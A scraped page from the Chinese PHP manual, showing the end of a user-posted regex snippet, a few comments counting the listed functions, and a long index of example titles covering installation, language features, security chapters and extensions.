        array_unshift($prefixes, $common);
    }

    print substr($func, strlen($prefixes[0]));
}

print ')\b';
pn at bptv dot eu 13-Jul-2016 09:02
There are (07/13/2016 [mm/dd/yyyy]) exactly 9455 Functions listed above.
DIA 14-Apr-2016 09:42
Total number of functions listed above: 9450.
(04/14/2016 [mm/dd/yyyy])
M.A.Y 01-Jan-2016 07:39
Total number of php functions/methods listed above are 9634.
Today's date is 1/1/2016. (mm/dd/yy)
counter at county dot co 07-Apr-2015 02:17
In case anyone was wondering, the total function/method count in this list as of this date is exactly 9457


示例列表

手册中所有示例的列表

  • Example#0 - 一个介绍性的范例
  • Example#1 - 第一个 PHP 脚本：hello.php
  • Example#2 - 从 PHP 获取系统信息
  • Example#3 - 打印一个变量（数组元素）
  • Example#4 - 流程控制与函数的使用
  • Example#5 - 混和 HTML 和 PHP 模式
  • Example#6 - 一个简单的 HTML 表单
  • Example#7 - 打印来自表单的数据
  • Example#8 - PHP 的 Apache 共享模块版本安装说明
  • Example#9 - PHP 的 Apache 静态模块版本安装说明
  • Example#10 - 重启动 Apache 的示例命令
  • Example#11 -
  • Example#12 -
  • Example#13 -
  • Example#14 -
  • Example#15 -
  • Example#16 -
  • Example#17 -
  • Example#18 -
  • Example#19 -
  • Example#20 -
  • Example#21 -
  • Example#22 -
  • Example#23 -
  • Example#24 -
  • Example#25 -
  • Example#26 -
  • Example#27 -
  • Example#28 -
  • Example#29 -
  • Example#30 -
  • Example#31 -
  • Example#32 -
  • Example#33 -
  • Example#34 -
  • Example#35 -
  • Example#36 -
  • Example#37 -
  • Example#38 -
  • Example#39 - Partial lighttpd.conf
  • Example#40 - 产生 FastCGI 应答器
  • Example#41 - 连接远程 php-fastcgi 实例
  • Example#42 - 在 OpenBSD 系统下的软件包的安装示例
  • Example#43 - Debian 下将 PHP 安装入 Apache 2 的例子
  • Example#44 - 安装完 PHP 后停止并启动 Apache
  • Example#45 - 取得 PHP 附加软件包的列表
  • Example#46 - 安装 PHP 的 MySQL 和 cURL 支持
  • Example#47 - Recommended OpCache configuration
  • Example#48 - Recommended WinCache configuration
  • Example#49 - Command line to configure IIS and PHP
  • Example#50 - PHP 5 压缩包的结构
  • Example#51 - php.ini 中的 CGI 和 FastCGI 设定
  • Example#52 - 配置 FastCGI 扩展以处理 PHP 请求
  • Example#53 - 配置文件访问权限
  • Example#54 - 配置 FastCGI 和 PHP 的回收
  • Example#55 - 配置 FastCGI 超时设定
  • Example#56 - 改变 php.ini 文件的位置
  • Example#57 - php.ini 中的 CGI 和 FastCGI 设定
  • Example#58 - 创建 IIS FastCGI 处理池
  • Example#59 - 创建对应于 PHP 请求的处理程序映射
  • Example#60 - 确定用于 IIS 匿名认证的用户帐号
  • Example#61 - 配置文件访问权限
  • Example#62 - 将 index.php 设为 IIS 的默认文档
  • Example#63 - 配置 FastCGI 和 PHP 的回收
  • Example#64 - 配置 FastCGI 超时设定
  • Example#65 - 改变 php.ini 文件的位置
  • Example#66 - PHP 作为 Apache 1.3.x 的一个模块
  • Example#67 - PHP 以 CGI 方式运行在 Apache 1.3.x
  • Example#68 - PHP 在 Apache 2.x 中作为 handler
  • Example#69 -
  • Example#70 - Apache 2.x 下 CGI 方式的 PHP
  • Example#71 - 配置 Apache 以 FastCGI 方式运行 PHP
  • Example#72 - Sambar 的 ISAPI 设置
  • Example#73 - 启用 Bzip2扩展库
  • Example#74 - 注册表变化
  • Example#75 - 给运行池传递环境变量和设置 PHP 的配置值
  • Example#76 - 在 nginx.conf 中设定 PHP
  • Example#77 - phpinfo call
  • Example#78 - php.ini 例子
  • Example#79 - Apache 配置例子
  • Example#80 -
  • Example#81 - 使用条件的高级分离术
  • Example#82 - PHP 开始和结束标记
  • Example#83 - 整数文字表达
  • Example#84 - 32 位系统下的整数溢出
  • Example#85 - 64 位系统下的整数溢出
  • Example#86 - 非法的示例
  • Example#87 - Heredoc 结构的字符串示例
  • Example#88 - Heredoc 结构在参数中的示例
  • Example#89 - 使用 Heredoc 结构来初始化静态值
  • Example#90 - 在 heredoc 结构中使用双引号
  • Example#91 - Nowdoc 结构字符串示例
  • Example#92 - 静态数据的示例
  • Example#93 - 简单语法示例
  • Example#94 - 一些字符串示例
  • Example#95 - PHP 5.3 和 PHP 5.4 的区别
  • Example#96 - 一个简单数组
  • Example#97 - 类型强制与覆盖示例
  • Example#98 - 混合 integer 和 string 键名
  • Example#99 - 没有键名的索引数组
  • Example#100 - 仅对部分单元指定键名
  • Example#101 - 访问数组单元
  • Example#102 - 数组解引用
  • Example#103 - 使用 array()
  • Example#104 - 集合
  • Example#105 - 在循环中改变单元
  • Example#106 - 下标从 1 开始的数组
  • Example#107 - 填充数组
  • Example#108 - 数组排序
  • Example#109 - 递归和多维数组
  • Example#110 - 回调函数示例
  • Example#111 - 使用 Closure 的示例
  • Example#112 - 未初始化变量的默认值
  • Example#113 - 使用 global
  • Example#114 - 使用 $GLOBALS 替代 global
  • Example#115 - 演示超全局变量和作用域的例子
  • Example#116 - 演示需要静态变量的例子
  • Example#117 - 使用静态变量的例子
  • Example#118 - 静态变量与递归函数
  • Example#119 - 声明静态变量
  • Example#120 - 可变属性示例
  • Example#121 - 一个简单的 HTML 表单
  • Example#122 - 从一个简单的 POST HTML 表单访问数据
  • Example#123 - 更复杂的表单变量
  • Example#124 - 一个 setcookie 的示例
  • Example#125 - 合法与非法的常量名
  • Example#126 - 定义常量
  • Example#127 - 使用关键字 const 定义常量
  • Example#128 - 结合方向
  • Example#129 - Undefined order of evaluation
  • Example#130 - 引用赋值
  • Example#131 - 整数的 AND，OR 和 XOR 位运算符
  • Example#132 - 字符串的 XOR 运算符
  • Example#133 - 整数的位移
  • Example#134 - 标准数组比较代码
  • Example#135 - Transcription of standard array comparison
  • Example#136 - 赋默认值
  • Example#137 - 不清晰的三元运算符行为
  • Example#138 - 涉及字符变量的算数运算
  • Example#139 - 逻辑运算符示例
  • Example#140 - 比较数组
  • Example#141 - 对类使用 instanceof
  • Example#142 - 对继承类使用 instanceof
  • Example#143 - 使用 instanceof 检查对象不是某个类的实例
  • Example#144 - 对接口使用 instanceof
  • Example#145 - 对其它变量使用 instanceof
  • Example#146 - 用 instanceof 检测其它变量
  • Example#147 - 避免 PHP 5.0 中 instanceof 引起的类名查找和致命错误问题
  • Example#148 - switch 结构
  • Example#149 - switch 结构可以用字符串
  • Example#150 - Tick 的用法示例
  • Example#151 - Ticks 的用法示例
  • Example#152 - 对脚本指定编码方式
  • Example#153 - 基本的 include 例子
  • Example#154 - 函数中的包含
  • Example#155 - 通过 HTTP 进行的 include
  • Example#156 - 比较 include 的返回值
  • Example#157 - include 和 return 语句
  • Example#158 - 使用输出缓冲来将 PHP 文件包含入一个字符串
  • Example#159 - include_once 在 PHP 4 运行于不区分大小写的操作系统中
  • Example#160 - goto 示例
  • Example#161 - goto 跳出循环示例
  • Example#162 - 以下写法无效
  • Example#163 - 展示函数用途的伪代码
  • Example#164 - 有条件的函数
  • Example#165 - 函数中的函数
  • Example#166 - 递归函数
  • Example#167 - 向函数传递数组
  • Example#168 - 用引用传递函数参数
  • Example#169 - 在函数中使用默认参数
  • Example#170 - 使用非标量类型作为默认参数
  • Example#171 - 函数默认参数的不正确用法
  • Example#172 - 函数默认参数正确的用法
  • Example#173 -
  • Example#174 - Basic class type declaration
  • Example#175 - Basic interface type declaration
  • Example#176 - Nullable type declaration
  • Example#177 - Strict typing
  • Example#178 - Weak typing
  • Example#179 - Catching TypeError
  • Example#180 - Using ... to access variable arguments
  • Example#181 - Using ... to provide arguments
  • Example#182 - Type hinted variable arguments
  • Example#183 - Accessing variable arguments in PHP 5.5 and earlier
  • Example#184 - return 的使用
  • Example#185 - 返回一个数组以得到多个返回值
  • Example#186 - 从函数返回一个引用
  • Example#187 - 基础返回值类型声明
  • Example#188 - 严格模式下执行
  • Example#189 - 返回一个对象
  • Example#190 - 可变函数示例
  • Example#191 - 可变方法范例
  • Example#192 - Variable 方法和静态属性示例
  • Example#193 - Complex callables
  • Example#194 - 匿名函数示例
  • Example#195 - 匿名函数变量赋值示例
  • Example#196 - 从父作用域继承变量
  • Example#197 - Closures 和作用域
  • Example#198 - Automatic binding of $this
  • Example#199 - Attempting to use $this inside a static anonymous function
  • Example#200 - Attempting to bind an object to a static anonymous function
  • Example#201 - 简单的类定义
  • Example#202 - $this 伪变量的示例
  • Example#203 - 创建实例
  • Example#204 - 对象赋值
  • Example#205 - 创建新对象
  • Example#206 - 访问新创建对象的成员
  • Example#207 - Property access vs. method call
  • Example#208 - Calling an anonymous function stored in a property
  • Example#209 - 简单的类继承
  • Example#210 - 类名的解析
  • Example#211 - 属性声明
  • Example#212 - 示例：使用 nowdoc 初始化属性
  • Example#213 - 定义和使用一个类常量
  • Example#214 - 静态数据示例
  • Example#215 - 自动加载示例
  • Example#216 - 另一个例子
  • Example#217 - 自动加载在 PHP 5.3.0+ 中的异常处理
  • Example#218 - 自动加载在 PHP 5.3.0+ 中的异常处理 - 没有自定义异常机制
  • Example#219 - 使用新标准的构造函数
  • Example#220 - Constructors in namespaced classes
  • Example#221 - 析构函数示例
  • Example#222 - 属性声明
  • Example#223 - 方法声明
  • Example#224 - 访问同一个对象类型的私有成员
  • Example#225 - 继承示例
  • Example#226 - 在类的外部使用 :: 操作符
  • Example#227 - 在类定义内部使用 ::
  • Example#228 - 调用父类的方法
  • Example#229 - 静态属性示例
  • Example#230 - 抽象类示例
  • Example#231 - 抽象类示例
  • Example#232 - 接口示例
  • Example#233 - 可扩充的接口
  • Example#234 - 继承多个接口
  • Example#235 - 使用接口常量
  • Example#236 - Trait 示例
  • Example#237 - 优先顺序示例
  • Example#238 - 另一个优先级顺序的例子
  • Example#239 - 多个 trait 的用法
  • Example#240 - 冲突的解决
  • Example#241 - 修改方法的访问控制
  • Example#242 - 从 trait 来组成 trait
  • Example#243 - 表示通过抽象方法来进行强制要求
  • Example#244 - 静态变量
  • Example#245 - 静态方法
  • Example#246 - 定义属性
  • Example#247 - 解决冲突
  • Example#248 - 使用 __get()，__set()，__isset() 和 __unset() 进行属性重载
  • Example#249 - 使用 __call() 和 __callStatic() 对方法重载
  • Example#250 - 简单的对象遍历
  • Example#251 - 实现 Iterator 接口的对象遍历
  • Example#252 - 通过实现 IteratorAggregate 来遍历对象
  • Example#253 - Sleep 和 wakeup
  • Example#254 - 简单示例
  • Example#255 - 使用 __invoke()
  • Example#256 - 使用 __set_state()>（PHP 5.1.0 起）
  • Example#257 - Using __debugInfo()
  • Example#258 - Final 方法示例
  • Example#259 - Final 类示例
  • Example#260 - 复制一个对象
  • Example#261 - PHP 5 的对象比较
  • Example#262 - 类型约束示例
  • Example#263 - self:: 用法
  • Example#264 - static:: 简单用法
  • Example#265 - 非静态环境下使用 static::
  • Example#266 - 转发和非转发调用
  • Example#267 - 引用和对象
  • Example#268 - 命名空间语法示例
  • Example#269 - 声明单个命名空间
  • Example#270 - 声明单个命名空间
  • Example#271 - 声明分层次的单个命名空间
  • Example#272 - 定义多个命名空间，简单组合语法
  • Example#273 - 定义多个命名空间，大括号语法
  • Example#274 - 定义多个命名空间和不包含在命名空间中的代码
  • Example#275 - 定义多个命名空间和不包含在命名空间中的代码
  • Example#276 - 在命名空间内部访问全局类、函数和常量
  • Example#277 - 动态访问元素
  • Example#278 - 动态访问命名空间的元素
  • Example#279 - __NAMESPACE__ 示例, 在命名空间中的代码
  • Example#280 - __NAMESPACE__ 示例，全局代码
  • Example#281 - 使用__NAMESPACE__动态创建名称
  • Example#282 - namespace操作符，命名空间中的代码
  • Example#283 - namespace操作符, 全局代码
  • Example#284 - 使用use操作符导入/使用别名
  • Example#285 - 通过use操作符导入/使用别名，一行中包含多个use语句
  • Example#286 - 导入和动态名称
  • Example#287 - 导入和完全限定名称
  • Example#288 - Illegal importing rule
  • Example#289 - 使用全局空间说明
  • Example#290 - 在命名空间中访问全局类
  • Example#291 - 命名空间中后备的全局函数/常量
  • Example#292 - 名称解析示例
  • Example#293 - Accessing global classes outside a namespace
  • Example#294 - Accessing global classes outside a namespace
  • Example#295 - Accessing internal classes in namespaces
  • Example#296 - Accessing internal classes, functions or constants in namespaces
  • Example#297 - Fully Qualified names
  • Example#298 - Qualified names
  • Example#299 - Unqualified class names
  • Example#300 - Unqualified function or constant names
  • Example#301 - Dangers of using namespaced names inside a double-quoted string
  • Example#302 - Undefined constants
  • Example#303 - Undefined constants
  • Example#304 - 内置的异常处理类
  • Example#305 - 扩展 PHP 内置的异常处理类 (PHP 5.3.0+)
  • Example#306 - Throwing an Exception
  • Example#307 - Exception handling with a finally block
  • Example#308 - Nested Exception
  • Example#309 - 将 range 实现为生成器
  • Example#310 - 一个简单的生成值的例子
  • Example#311 - 生成一个键值对
  • Example#312 - 生成NULLs
  • Example#313 - 使用引用来生成值
  • Example#314 - Basic use of yield from
  • Example#315 - yield from and return values
  • Example#316 - 对未定义的变量使用引用
  • Example#317 - 在函数内引用全局变量
  • Example#318 - 引用与 foreach 语句
  • Example#319 - $GLOBALS 范例
  • Example#320 - $_SERVER 范例
  • Example#321 - $_GET 范例
  • Example#322 - $_POST 范例
  • Example#323 - $_ENV 范例
  • Example#324 - $_COOKIE 范例
  • Example#325 - $php_errormsg 范例
  • Example#326 - $http_response_header 范例
  • Example#327 - $argc 范例
  • Example#328 - $argv 范例
  • Example#329 - Exception::getMessage示例
  • Example#330 - Exception::getPrevious示例
  • Example#331 - Exception::getCode示例
  • Example#332 - Exception::getFile示例
  • Example#333 - Exception::getLine示例
  • Example#334 - Exception::getTrace示例
  • Example#335 - Exception::getTraceAsString示例
  • Example#336 - Exception::__toString示例
  • Example#337 - 使用set_error_handler函数将错误信息托管至ErrorException
  • Example#338 - ErrorException::getSeverity 例子
  • Example#339 - 基本用法
  • Example#340 - 基本用法
  • Example#341 - Basic usage
  • Example#342 - ArrayAccess::offsetExists 范例
  • Example#343 - Basic usage
  • Example#344 - Closure::bind 实例
  • Example#345 - Closure::bindTo 实例
  • Example#346 - Generator::key example
  • Example#347 - 用 Generator::send 向生成器函数中传值
  • Example#348 - Basic bindto usage example
  • Example#349 - 获取一个页面并发送 POST 数据
  • Example#350 - 忽略重定向并获取 header 和内容
  • Example#351 - 获取一个页面，并以POST发送数据
  • Example#352 - 检测重定向后最终的 URL
  • Example#353 - php://temp/maxmemory
  • Example#354 - php://filter/resource=<待过滤的数据流>
  • Example#355 - php://filter/read=<读链需要应用的过滤器列表>
  • Example#356 - php://filter/write=<写链需要应用的过滤器列表>
  • Example#357 - php://memory 和 php://temp 是一次性的
  • Example#358 - 打印 data:// 的内容
  • Example#359 - 获取媒体类型
  • Example#360 - 基本用法
  • Example#361 - 从一个活动连接中打开字节流
  • Example#362 - This $session variable must be kept available!
  • Example#363 - Traversing a RAR archive
  • Example#364 - Opening an encrypted file (header encryption)
  • Example#365 - 不对变量进行安全检查会导致……
  • Example#366 - ……文件系统攻击
  • Example#367 - 更安全的文件名检查
  • Example#368 - 更安全的文件名检查
  • Example#369 - 会被 Null 字符问题攻击的代码
  • Example#370 - 验证输入的正确做法
  • Example#371 - 对密码字段进行散列加密
  • Example#372 - 一段实现数据分页显示的代码……也可以被用作创建一个超级用户（PostgreSQL系统）。
  • Example#373 - 显示文章……以及一些密码（任何数据库系统）
  • Example#374 - 从重设密码……到获得更多权限（任何数据库系统）
  • Example#375 - 攻击数据库所在主机的操作系统（MSSQL Server）
  • Example#376 - 一个实现分页更安全的方法
  • Example#377 - 用自定义的 HTML 页面攻击变量
  • Example#378 - 利用变量打开调式功能
  • Example#379 - 用 E_ALL 来查找危险的变量
  • Example#380 - 错误使用 register_globals = on 的例子
  • Example#381 - 使用会话时同时兼容 register_globals on 和 off 的例子
  • Example#382 - 探测有害变量
  • Example#383 - 危险的变量用法
  • Example#384 - 在服务器端关闭魔术引号
  • Example#385 - 在运行时关闭魔术引号
  • Example#386 - 把 PHP 隐藏为另一种语言
  • Example#387 - 使用未知的扩展名作为 PHP 的扩展名
  • Example#388 - 用 HTML 做 PHP 的文件后缀
  • Example#389 - Basic HTTP 认证范例
  • Example#390 - Digest HTTP 认证范例
  • Example#391 - 强迫重新输入用户名和密码的 HTTP 认证的范例
  • Example#392 - 一个简单的 XForms 搜索表单
  • Example#393 - 使用 XForm 来产生 $_POST
  • Example#394 - 文件上传表单
  • Example#395 - 使文件上传生效
  • Example#396 - 上传一组文件
  • Example#397 - 上传多个文件
  • Example#398 - 用 PHP 4 来保存 HTTP PUT 文件
  • Example#399 - 获取远程文件的标题
  • Example#400 - 将数据保存到远程服务器
  • Example#401 - 试图以命令行方式运行的 PHP 脚本（script.php）
  • Example#402 - 运行 PHP 命令行脚本的批处理文件（script.bat）
  • Example#403 - 启动Web服务器
  • Example#404 - 启动时指定根目录
  • Example#405 - 使用路由（Router）脚本
  • Example#406 - 生成一个新的zval容器
  • Example#407 - 显示zval信息
  • Example#408 - 增加一个zval的引用计数
  • Example#409 - 减少引用计数
  • Example#410 - Creating a array zval
  • Example#411 - 添加一个已经存在的元素到数组中
  • Example#412 - 从数组中删除一个元素
  • Example#413 - 把数组作为一个元素添加到自己
  • Example#414 - Unsetting $a
  • Example#415 - Memory usage example
  • Example#416 - GC性能影响
  • Example#417 - 执行以上脚本
  • Example#418 - 重新编译PHP以启用GC benchmarking
  • Example#419 - GC 统计数据
  • Example#420 - all_probes.d for tracing all PHP Static Probes with DTrace
  • Example#421 - all_probes.stp for tracing all PHP Static Probes with SystemTap
  • Example#422 - An apc.rfc1867 example
  • Example#423 - apc_add 例子
  • Example#424 - apc_bin_load example
  • Example#425 - A apc_cache_info example
  • Example#426 - apc_cas 示例
  • Example#427 - apc_dec example
  • Example#428 - apc_define_constants example
  • Example#429 - apc_delete_file example
  • Example#430 - A apc_delete 范例
  • Example#431 - apc_exists 例子
  • Example#432 - apc_fetch 范例
  • Example#433 - apc_inc 范例
  • Example#434 - apc_load_constants example
  • Example#435 - A apc_sma_info example
  • Example#436 - apc_store 例子
  • Example#437 - APCIterator::__construct 例子
  • Example#438 - A apcu_add example
  • Example#439 - A apcu_cache_info example
  • Example#440 - apcu_cas example
  • Example#441 - apcu_dec example
  • Example#442 - A apcu_delete example
  • Example#443 - An apcu_entry example
  • Example#444 - apcu_exists example
  • Example#445 - A apcu_fetch example
  • Example#446 - apcu_inc example
  • Example#447 - A apcu_sma_info example
  • Example#448 - A apcu_store example
  • Example#449 - A APCUIterator::__construct example
  • Example#450 - Typical session using tcplisten
  • Example#451 - apd_callstack example
  • Example#452 - apd_clunk example
  • Example#453 - apd_continue example
  • Example#454 - apd_croak example
  • Example#455 - apd_dump_function_table example
  • Example#456 - apd_dump_persistent_resources example
  • Example#457 - apd_dump_regular_resources example
  • Example#458 - apd_echo example
  • Example#459 - apd_get_active_symbols example
  • Example#460 - apd_set_pprof_trace example
  • Example#461 - apd_set_session_trace_socket example
  • Example#462 - apd_set_session_trace example
  • Example#463 - apd_set_session example
  • Example#464 - override_function example
  • Example#465 - rename_function example
  • Example#466 - bcompiler_load_exe 例子
  • Example#467 - bcompiler_load 例子
  • Example#468 - bcompiler_parse_class 例子
  • Example#469 - bcompiler_read 例子
  • Example#470 - bcompiler_write_class 例子
  • Example#471 - bcompiler_write_constant 例子
  • Example#472 - bcompiler_write_exe_footer 例子
  • Example#473 - bcompiler_write_file 例子
  • Example#474 - bcompiler_write_footer 例子
  • Example#475 - bcompiler_write_function 例子
  • Example#476 - bcompiler_write_functions_from_file 例子
  • Example#477 - bcompiler_write_header 例子
  • Example#478 - blenc_encrypt example
  • Example#479 - 在脚本中使用错误句柄
  • Example#480 - debug_backtrace 范例
  • Example#481 - debug_print_backtrace 范例
  • Example#482 - error_clear_last 例子
  • Example#483 - An error_get_last 范例
  • Example#484 - error_log 范例
  • Example#485 - error_reporting 范例
  • Example#486 - restore_error_handler 范例
  • Example#487 - restore_exception_handler 范例
  • Example#488 - 用 set_error_handler 和 trigger_error 进行错误处理
  • Example#489 - set_exception_handler 范例
  • Example#490 - trigger_error 示例
  • Example#491 - Calling a function from shared library
  • Example#492 - Calling a function, returning a structure through an argument
  • Example#493 - Accessing existing C variables
  • Example#494 - Creating and Modifying C variables
  • Example#495 - Working with C arrays
  • Example#496 -
  • Example#497 -
  • Example#498 - Getting the data within the PHP application itself (function)
  • Example#499 - Example use of gengraph.php
  • Example#500 - Listing data via inclued dumps (configuration)
  • Example#501 - inclued_get_data example
  • Example#502 - Creating large array in a function
  • Example#503 - 输出控制举例
  • Example#504 - ob_end_clean example
  • Example#505 - ob_end_flush example
  • Example#506 - A simple ob_get_clean example
  • Example#507 - A simple ob_get_contents example
  • Example#508 - ob_get_flush example
  • Example#509 - A simple ob_get_length example
  • Example#510 - ob_gzhandler example
  • Example#511 - ob_list_handlers example
  • Example#512 - 用户自定义回调函数的例子
  • Example#513 - output_add_rewrite_var example
  • Example#514 - output_reset_rewrite_vars example
  • Example#515 - assert_options 例子
  • Example#516 - 使用自定义处理程序处理失败的断言
  • Example#517 - 使用自定义处理器打印描述信息
  • Example#518 - Expectations without a custom exception
  • Example#519 - Expectations with a custom exception
  • Example#520 - cli_get_process_title example
  • Example#521 - cli_set_process_title example
  • Example#522 - dl 例子
  • Example#523 - extension_loaded 例子
  • Example#524 - 一个 gc_enabled 例子
  • Example#525 - gc_status Usage
  • Example#526 - get_current_user 例子
  • Example#527 - get_defined_constants 例子
  • Example#528 - 打印 XML 函数
  • Example#529 - get_include_path 例子
  • Example#530 - get_included_files 范例
  • Example#531 - get_loaded_extensions 范例
  • Example#532 - get_magic_quotes_gpc 例子
  • Example#533 - get_magic_quotes_runtime 例子
  • Example#534 - Unfiltered get_resources
  • Example#535 - Filtered get_resources
  • Example#536 - getenv 例子
  • Example#537 - getlastmod 例子
  • Example#538 - getopt 例子：基本用法
  • Example#539 - getopt 例子：引入长选项
  • Example#540 - getopt 例子：传递同一多个选项
  • Example#541 - getopt 例子：使用 optind
  • Example#542 - getrusage 例子
  • Example#543 - ini_get_all 例子
  • Example#544 - 禁用 details
  • Example#545 - 一些 ini_get 例子
  • Example#546 - ini_restore 例子
  • Example#547 - 设置一个 ini 选项
  • Example#548 - 一个 memory_get_usage 例子
  • Example#549 - php_ini_loaded_file 例子
  • Example#550 - 列出返回的 ini 文件的简单例子
  • Example#551 - php_logo_guid 例子
  • Example#552 - php_sapi_name 例子
  • Example#553 - 一些 php_uname 的例子
  • Example#554 - 一些系统相关常量的例子
  • Example#555 - 打印普遍名单
  • Example#556 - 打印核心开发者和文档组
  • Example#557 - 打印所有贡献者
  • Example#558 - phpinfo 范例
  • Example#559 - phpversion 范例
  • Example#560 - PHP_VERSION_ID 范例和用法
  • Example#561 - 设置一个环境变量
  • Example#562 - restore_include_path 例子
  • Example#563 - set_include_path 例子
  • Example#564 - 添加到include path
  • Example#565 - set_magic_quotes_runtime 例子
  • Example#566 - sys_get_temp_dir 例子
  • Example#567 - version_compare examples
  • Example#568 - zend_logo_guid 例子
  • Example#569 - zend_thread_id 例子
  • Example#570 - zend_version 例子
  • Example#571 - Custom Superglobals with runkit.superglobal=_FOO,_BAR in php.ini
  • Example#572 - Instantiating a restricted sandbox
  • Example#573 - Working with variables in a sandbox
  • Example#574 - Calling sandbox functions
  • Example#575 - Passing arguments to sandbox functions
  • Example#576 - Working with variables in a sandbox
  • Example#577 - Accessing parental variables
  • Example#578 - A runkit_class_adopt example
  • Example#579 - A runkit_class_emancipate example
  • Example#580 - A runkit_function_add example
  • Example#581 - A runkit_function_copy example
  • Example#582 - A runkit_function_redefine example
  • Example#583 - runkit_import example
  • Example#584 - runkit_method_add example
  • Example#585 - runkit_method_copy example
  • Example#586 - runkit_method_redefine example
  • Example#587 - runkit_method_remove example
  • Example#588 - runkit_method_rename example
  • Example#589 - runkit_return_value_used example
  • Example#590 - Feeding output to a variable
  • Example#591 - Enabling and disabling scream at runtime
  • Example#592 - Basic uopz_add_function Usage
  • Example#593 - uopz_allow_exit example
  • Example#594 - uopz_backup example
  • Example#595 - uopz_compose example
  • Example#596 - uopz_copy example
  • Example#597 - Basic uopz_del_function Usage
  • Example#598 - uopz_delete example
  • Example#599 - uopz_delete class example
  • Example#600 - uopz_extend example
  • Example#601 - uopz_flags example
  • Example#602 - uopz_function example
  • Example#603 - uopz_function class example
  • Example#604 - uopz_get_exit_status example
  • Example#605 - Basic uopz_get_hook Usage
  • Example#606 - uopz_get_mock example
  • Example#607 - Basic uopz_get_property Usage
  • Example#608 - uopz_get_return example
  • Example#609 - Basic uopz_get_static Usage
  • Example#610 - uopz_implement example
  • Example#611 - uopz_overload example
  • Example#612 - uopz_redefine example
  • Example#613 - uopz_rename example
  • Example#614 - uopz_rename class example
  • Example#615 - uopz_restore example
  • Example#616 - Basic uopz_set_hook Usage
  • Example#617 - uopz_set_mock example
  • Example#618 - uopz_set_mock example
  • Example#619 - uopz_set_mock and static members
  • Example#620 - Basic uopz_set_property Usage
  • Example#621 - uopz_set_return example
  • Example#622 - uopz_set_return example
  • Example#623 - uopz_set_return class example
  • Example#624 - Basic uopz_set_static Usage
  • Example#625 - uopz_undefine example
  • Example#626 - Basic uopz_unset_hook Usage
  • Example#627 - uopz_unset_mock example
  • Example#628 - uopz_unset_return example
  • Example#629 - Weakref usage example
  • Example#630 - WeakRef usage example
  • Example#631 - Weakref::acquire example
  • Example#632 - Nested acquire/release example
  • Example#633 - Weakref::__construct example
  • Example#634 - Weakref::release example
  • Example#635 - Weakmap usage example
  • Example#636 - wincache.ignorelist example
  • Example#637 - Authentication configuration for wincache.php
  • Example#638 - Enabling WinCache session handler
  • Example#639 - Enabling WinCache functions reroutes
  • Example#640 - Reroute.ini file content
  • Example#641 - A wincache_fcache_fileinfo example
  • Example#642 - A wincache_fcache_meminfo example
  • Example#643 - Using wincache_lock
  • Example#644 - A wincache_ocache_fileinfo example
  • Example#645 - A wincache_ocache_meminfo example
  • Example#646 - A wincache_refresh_if_changed example
  • Example#647 - A wincache_rplist_fileinfo example
  • Example#648 - A wincache_rplist_meminfo example
  • Example#649 - A wincache_scache_info example
  • Example#650 - A wincache_scache_meminfo example
  • Example#651 - wincache_ucache_add with key as a string
  • Example#652 - wincache_ucache_add with key as an array
  • Example#653 - Using wincache_ucache_cas
  • Example#654 - using wincache_ucache_clear
  • Example#655 - Using wincache_ucache_dec
  • Example#656 - Using wincache_ucache_delete with key as a string
  • Example#657 - Usingwincache_ucache_delete with key as an array
  • Example#658 - Using wincache_ucache_delete with key as an array where some elements cannot be deleted
  • Example#659 - Using wincache_ucache_exists
  • Example#660 - wincache_ucache_get with key as a string
  • Example#661 - wincache_ucache_get with key as an array
  • Example#662 - Using wincache_ucache_inc
  • Example#663 - Using wincache_ucache_info
  • Example#664 - A wincache_ucache_meminfo example
  • Example#665 - wincache_ucache_set with key as a string
  • Example#666 - wincache_ucache_set with key as an array
  • Example#667 - Using wincache_unlock
  • Example#668 - Xhprof 范例，可选使用图形界面
  • Example#669 - xhprof_disable 范例
  • Example#670 - xhprof_enable 范例
  • Example#671 - xhprof_sample_disable 范例
  • Example#672 - id3_get_frame_long_name example
  • Example#673 - id3_get_frame_short_name example
  • Example#674 - id3_get_genre_id example
  • Example#675 - id3_get_genre_list example
  • Example#676 - id3_get_genre_name example
  • Example#677 - id3_get_tag example
  • Example#678 - id3_get_tag example
  • Example#679 - id3_get_version example
  • Example#680 - id3_remove_tag example
  • Example#681 - id3_set_tag example
  • Example#682 - Opens a new MP3 file and read the title
  • Example#683 - Reading an OGG/Vorbis file
  • Example#684 - Encode an audio file to OGG/Vorbis
  • Example#685 - KADM5 extension overview example
  • Example#686 - Example of changing principal's password
  • Example#687 - Example of principal's creation
  • Example#688 - kadm5_delete_principal example
  • Example#689 - kadm5_get_policies example
  • Example#690 - kadm5_get_principal example
  • Example#691 - kadm5_get_principals example
  • Example#692 - KADM5 initialization example
  • Example#693 - Example of modifying principal
  • Example#694 - Using CHAP passwords
  • Example#695 - radius_acct_open example
  • Example#696 - radius_add_server example
  • Example#697 - radius_auth_open example
  • Example#698 - radius_create_request example
  • Example#699 - radius_cvt_addr example
  • Example#700 - radius_cvt_int example
  • Example#701 - radius_cvt_string example
  • Example#702 - radius_get_attr example
  • Example#703 - radius_get_tagged_attr_data example
  • Example#704 - radius_get_tagged_attr_tag example
  • Example#705 - radius_get_vendor_attr example
  • Example#706 - radius_put_attr example
  • Example#707 - radius_put_int example
  • Example#708 - radius_put_string example
  • Example#709 - radius_put_vendor_attr example
  • Example#710 - Writing a string with a specified color to the screen
  • Example#711 - ncurses_getmouse example
  • Example#712 - Writing a string with a specified color to the screen
  • Example#713 - Writing a string with a specified color to the screen
  • Example#714 - ncurses_mousemask example
  • Example#715 - Writing a string with a specified color to the screen
  • Example#716 - Newt Usage Example
  • Example#717 - A newt_button example
  • Example#718 - A newt_draw_root_text example
  • Example#719 - A newt_form_add_component example
  • Example#720 - A newt_form_add_components example
  • Example#721 - A newt_form example
  • Example#722 - A newt_get_screen_size example
  • Example#723 - A newt_win_entries example
  • Example#724 - Readline Callback Interface Example
  • Example#725 - readline Example
  • Example#726 - bzip2 小例子
  • Example#727 - 压缩数据
  • Example#728 - 解压一个字符串
  • Example#729 - bzerror 范例
  • Example#730 - bzopen 范例
  • Example#731 - bzread 范例
  • Example#732 - bzwrite 范例
  • Example#733 - Using an external file
  • Example#734 - Using a file within a phar archive
  • Example#735 - Converting a phar archive from phar to tar file format
  • Example#736 - phar.extract_list usage example
  • Example#737 - phar.cache_list usage example
  • Example#738 - 一个 Phar::addEmptyDir 示例
  • Example#739 - 一个 Phar::addFile 示例
  • Example#740 - 一个 Phar::addFromString 示例
  • Example#741 - A Phar::apiVersion example
  • Example#742 - A Phar::buildFromDirectory example
